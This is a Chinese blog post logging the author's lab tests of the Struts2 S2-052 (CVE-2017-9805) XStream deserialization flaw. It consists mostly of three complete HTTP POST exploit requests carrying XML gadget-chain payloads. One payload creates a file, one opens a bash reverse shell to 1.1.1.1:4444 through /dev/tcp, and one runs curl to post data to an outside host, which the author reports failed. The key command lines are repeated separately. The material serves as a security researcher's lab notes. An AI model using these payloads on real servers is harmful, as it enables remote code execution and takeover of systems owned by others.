2019-02-25 s2-052小记

作者: 水泥中的鱼 | 来源:发表于2019-02-25 16:52 被阅读0次

s2-025如果不了解，可以上网搜，我主要是看这两个地方
Struts S2-052反弹Shell实验
 Struts2 XStreamHandler 远程代码执行漏洞(S2-052､ CVE-2017-9805)环境

这里主要记录一下自己试验的情况
远程命令执行

1 远程写文件，用于本地验证

POST /orders;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 10.101.79:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1657
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1


<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

其中最关键的代码

<command>
<string>/usr/bin/touch</string>
<string>/tmp/vuln</string>
</command>

一眼就知道，记住前面是绝对路径/usr/bin/touch

2 反弹，远程测试

POST /orders;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 10.101.79:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1657
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1


<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>bash</string><string>-c</string><string>bash -i >&amp; /dev/tcp/1.1.1.1/4444 0>&amp;1</string></command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

其中关键代码

<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/1.1.1.1/4444 0>&amp;1</string>
</command>

至于为什么amp，参见freebuf上面的详细介绍

3 curl获取文件（未成功）

理论上这个难度是小于上一个直接反弹的，但是在实际测试过程中确实没有成功，至于为什么。。。也就不深究了

POST /orders;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 10.101.79:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1657
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1


<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command>
<string>curl</string>
<string>-d</string>
<string>abc=test</string>
<string> http://10.101.1.70/ </string>
</command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

其中关键代码

<command>
<string>curl</string>
<string>-d</string>
<string>abc=test</string>
<string> http://10.101.1.70/ </string>
</command>

前面两个payload执行后会提示500错误，但是实际上是执行成功的

TIM截图20190225170350.png

tip:做实验的时候生成文件是在docker里面的，可以通过

docker exec -it xxxxxxxxxxxx /bin/bash

进入docker的终端

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